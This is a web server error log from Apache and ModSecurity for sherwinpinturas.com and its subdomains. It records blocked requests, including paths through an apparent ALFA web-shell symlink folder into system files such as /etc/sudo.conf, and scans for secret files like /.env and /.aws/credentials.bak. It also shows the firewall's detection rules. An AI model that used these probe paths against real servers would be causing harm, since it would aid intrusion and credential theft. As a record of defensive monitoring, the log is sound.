"sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/sudo.conf"] [unique_id "auBcttOTO42xOmZCRV02kgAAAAE"]
[Tue Oct 27 04:11:34.010034 2026] [security2:error] [pid 3184471:tid 3184471] [client 185.191.171.19:37248] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/sudo.conf"] [unique_id "auBcttOTO42xOmZCRV02kgAAAAE"]
[Tue Oct 27 04:11:34.010398 2026] [security2:error] [pid 3184471:tid 3184471] [client 185.191.171.19:37248] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/sudo.conf"] [unique_id "auBcttOTO42xOmZCRV02kgAAAAE"]
[Tue Oct 27 04:11:35.908820 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 54.84.102.81:49859] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:11:36.281733 2026] [core:error] [pid 3175284:tid 3175284] (13)Permission denied: [client 85.208.96.198:15818] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bfq_queue/cache_dma
[Tue Oct 27 04:11:40.406590 2026] [core:error] [pid 3184575:tid 3184575] (13)Permission denied: [client 85.208.96.208:23330] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-2k/partial
[Tue Oct 27 04:11:43.925196 2026] [ssl:error] [pid 3194344:tid 3194344] (70014)End of file found: [client 44.218.6.93:41439] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:11:52.142724 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 184.73.239.35:52742] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:11:59.209446 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 185.191.171.14:58120] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:12:07.985431 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 44.209.35.147:7685] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:12:11.814833 2026] [core:error] [pid 3194344:tid 3194344] (13)Permission denied: [client 18.215.77.19:8949] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty32/subsystem/ttyS0/device/subsystem/drivers/acpi-fan/unbind
[Tue Oct 27 04:12:24.225905 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 44.208.193.63:61283] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:12:27.892686 2026] [ssl:error] [pid 3194328:tid 3194328] (70014)End of file found: [client 54.235.172.108:25483] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:12:45.523501 2026] [ssl:error] [pid 3194327:tid 3194327] (70014)End of file found: [client 3.212.219.113:57245] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:13:08.982801 2026] [ssl:error] [pid 3194327:tid 3194327] (70014)End of file found: [client 3.231.193.38:56705] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:13:16.000022 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 52.3.104.214:48457] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:13:23.898225 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 52.3.102.51:33837] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:13:35.731424 2026] [ssl:error] [pid 3194351:tid 3194351] (70014)End of file found: [client 34.202.88.37:61236] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:13:39.665559 2026] [ssl:error] [pid 3194344:tid 3194344] (70014)End of file found: [client 107.20.25.33:36242] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:13:43.601374 2026] [core:error] [pid 3194327:tid 3194327] (13)Permission denied: [client 185.191.171.1:18448] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/biovec-16/cpu_partial
[Tue Oct 27 04:13:48.647149 2026] [security2:error] [pid 3184472:tid 3184472] [client 130.12.180.163:26440] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBdPCoaxgN9H0AE4f1vFAAAAAM"]
[Tue Oct 27 04:13:48.647404 2026] [security2:error] [pid 3184472:tid 3184472] [client 130.12.180.163:26440] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBdPCoaxgN9H0AE4f1vFAAAAAM"]
[Tue Oct 27 04:13:48.647738 2026] [security2:error] [pid 3184472:tid 3184472] [client 130.12.180.163:26440] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBdPCoaxgN9H0AE4f1vFAAAAAM"]
[Tue Oct 27 04:13:51.830700 2026] [ssl:error] [pid 3194254:tid 3194254] (70014)End of file found: [client 34.236.185.101:55027] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:13:52.367571 2026] [security2:error] [pid 3194328:tid 3194328] [client 130.12.180.167:30256] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "corp2.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBdQMsFEw8TBOSK6W-mogAAAAk"]
[Tue Oct 27 04:13:52.367936 2026] [security2:error] [pid 3194328:tid 3194328] [client 130.12.180.167:30256] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "corp2.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBdQMsFEw8TBOSK6W-mogAAAAk"]
[Tue Oct 27 04:13:52.368280 2026] [security2:error] [pid 3194328:tid 3194328] [client 130.12.180.167:30256] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "corp2.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBdQMsFEw8TBOSK6W-mogAAAAk"]
[Tue Oct 27 04:13:56.527089 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 34.205.170.13:40054] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:13:58.733967 2026] [core:error] [pid 3194351:tid 3194351] (13)Permission denied: [client 185.191.171.5:16186] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/pci/drivers/dw_dmac_pci/new_id
[Tue Oct 27 04:14:20.015164 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 35.169.119.108:35267] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:14:23.773041 2026] [ssl:error] [pid 3194328:tid 3194328] (70014)End of file found: [client 54.147.182.90:54691] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:14:31.950547 2026] [ssl:error] [pid 3194351:tid 3194351] (70014)End of file found: [client 52.3.127.170:37489] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:14:39.821197 2026] [ssl:error] [pid 3194327:tid 3194327] (70014)End of file found: [client 52.3.102.51:65208] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:14:43.711500 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 52.54.95.127:32906] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:14:47.778732 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 18.204.89.56:1585] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:14:51.932328 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 107.20.255.194:62144] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:14:59.787146 2026] [ssl:error] [pid 3194254:tid 3194254] (70014)End of file found: [client 3.224.215.150:35143] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:15:04.382821 2026] [ssl:error] [pid 3194351:tid 3194351] (70014)End of file found: [client 100.29.34.97:5624] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:15:05.482178 2026] [authz_core:error] [pid 3194344:tid 3194344] [client 34.72.176.129:44443] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Tue Oct 27 04:15:11.684302 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 34.231.181.240:45684] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:15:27.767600 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 18.204.89.56:15396] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:15:35.860153 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 44.206.93.215:11678] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:15:39.606721 2026] [core:crit] [pid 3194351:tid 3194351] (13)Permission denied: [client 16.216.88.39:20480] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/apache2/conf.d/modsec_vendor_configs/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/apache2/conf.d/modsec_vendor_configs/' is executable
[Tue Oct 27 04:15:40.607088 2026] [authz_core:error] [pid 3174426:tid 3174426] [client 205.169.39.110:24011] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Tue Oct 27 04:15:44.461153 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 18.213.27.222:31822] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:15:47.205177 2026] [authz_core:error] [pid 3194344:tid 3194344] [client 205.169.39.110:9237] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Tue Oct 27 04:15:55.991038 2026] [core:error] [pid 3174426:tid 3174426] (13)Permission denied: [client 3.232.39.98:4913] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/remove
[Tue Oct 27 04:15:59.882852 2026] [core:error] [pid 3175284:tid 3175284] (13)Permission denied: [client 54.197.102.71:37010] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/wakeup/wakeup5/device/subsystem/drivers/pvpanic/bind
[Tue Oct 27 04:16:03.390470 2026] [core:error] [pid 3184472:tid 3184472] (13)Permission denied: [client 185.191.171.1:61578] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/hwcache_align
[Tue Oct 27 04:16:03.963045 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 52.5.242.243:46795] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:16:19.819427 2026] [ssl:error] [pid 3194328:tid 3194328] (70014)End of file found: [client 18.232.12.157:31259] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:16:23.851580 2026] [core:error] [pid 3175284:tid 3175284] (13)Permission denied: [client 54.166.126.132:52305] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/driver/0000:00:03.0/subsystem/slots/16/module/uevent
[Tue Oct 27 04:16:31.729045 2026] [ssl:error] [pid 3194344:tid 3194344] (70014)End of file found: [client 184.73.239.35:10381] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:16:39.708466 2026] [ssl:error] [pid 3194351:tid 3194351] (70014)End of file found: [client 3.217.171.106:21892] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:16:45.829881 2026] [security2:error] [pid 3184471:tid 3184471] [client 43.165.127.225:54640] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/wapisimoagenda.php"] [unique_id "auBd7dOTO42xOmZCRV02nwAAAAE"]
[Tue Oct 27 04:16:47.939768 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 50.19.79.213:15806] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:16:51.968208 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 52.202.52.82:27901] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:16:55.737958 2026] [ssl:error] [pid 3194344:tid 3194344] (70014)End of file found: [client 52.202.233.37:53697] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:16:59.764059 2026] [ssl:error] [pid 3194254:tid 3194254] (70014)End of file found: [client 18.205.91.101:23416] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:17:07.982576 2026] [core:error] [pid 3175284:tid 3175284] (13)Permission denied: [client 3.226.106.93:53473] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory2/node0/memory18/subsystem/uevent
[Tue Oct 27 04:17:15.728821 2026] [ssl:error] [pid 3194328:tid 3194328] (70014)End of file found: [client 52.3.127.170:54774] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:17:19.673973 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 34.226.89.140:5387] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:17:23.818614 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 100.29.63.24:32763] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:17:27.806673 2026] [ssl:error] [pid 3194351:tid 3194351] (70014)End of file found: [client 34.195.60.66:58967] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:17:31.998458 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 34.224.132.215:64134] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:17:51.813027 2026] [ssl:error] [pid 3194351:tid 3194351] (70014)End of file found: [client 34.231.45.47:45133] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:17:55.766925 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 52.2.4.213:12376] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:18:09.236748 2026] [security2:error] [pid 3184472:tid 3184472] [client 34.156.22.151:38998] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.aws/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.aws/.env"] [unique_id "auBeQSoaxgN9H0AE4f1vIAAAAAM"]
[Tue Oct 27 04:18:09.237147 2026] [security2:error] [pid 3184472:tid 3184472] [client 34.156.22.151:38998] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.aws/.env"] [unique_id "auBeQSoaxgN9H0AE4f1vIAAAAAM"]
[Tue Oct 27 04:18:09.237425 2026] [security2:error] [pid 3184472:tid 3184472] [client 34.156.22.151:38998] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.aws/.env"] [unique_id "auBeQSoaxgN9H0AE4f1vIAAAAAM"]
[Tue Oct 27 04:18:09.315329 2026] [security2:error] [pid 3194344:tid 3194344] [client 34.156.22.151:39008] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.aws/credentials.bak"] [unique_id "auBeQTs6QI_2LyqMu-svSwAAABA"]
[Tue Oct 27 04:18:09.315624 2026] [security2:error] [pid 3194344:tid 3194344] [client 34.156.22.151:39008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.aws/credentials.bak"] [unique_id "auBeQTs6QI_2LyqMu-svSwAAABA"]
[Tue Oct 27 04:18:09.315922 2026] [security2:error] [pid 3194344:tid 3194344] [client 34.156.22.151:39008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.aws/credentials.bak"] [unique_id "auBeQTs6QI_2LyqMu-svSwAAABA"]
[Tue Oct 27 04:18:09.321143 2026] [security2:error] [pid 3175284:tid 3175284] [client 34.156.22.151:39056] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env-sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env-sample"] [unique_id "auBeQUQFomyjz0g-y4eN6wAAAAo"]
[Tue Oct 27 04:18:09.321352 2026] [security2:error] [pid 3175284:tid 3175284] [client 34.156.22.151:39056] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env-sample"] [unique_id "auBeQUQFomyjz0g-y4eN6wAAAAo"]
[Tue Oct 27 04:18:09.321580 2026] [security2:error] [pid 3175284:tid 3175284] [client 34.156.22.151:39056] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env-sample"] [unique_id "auBeQUQFomyjz0g-y4eN6wAAAAo"]
[Tue Oct 27 04:18:09.321936 2026] [security2:error] [pid 3184471:tid 3184471] [client 34.156.22.151:39072] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.docker/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.docker/.env"] [unique_id "auBeQdOTO42xOmZCRV02oQAAAAE"]
[Tue Oct 27 04:18:09.322852 2026] [security2:error] [pid 3184471:tid 3184471] [client 34.156.22.151:39072] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.docker/.env"] [unique_id "auBeQdOTO42xOmZCRV02oQAAAAE"]
[Tue Oct 27 04:18:09.323126 2026] [security2:error] [pid 3184471:tid 3184471] [client 34.156.22.151:39072] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.docker/.env"] [unique_id "auBeQdOTO42xOmZCRV02oQAAAAE"]
[Tue Oct 27 04:18:09.322665 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.156.22.151:39078] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBeQfBpQA4DT21g-rgTTwAAAAY"]
[Tue Oct 27 04:18:09.323502 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.156.22.151:39078] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBeQfBpQA4DT21g-rgTTwAAAAY"]
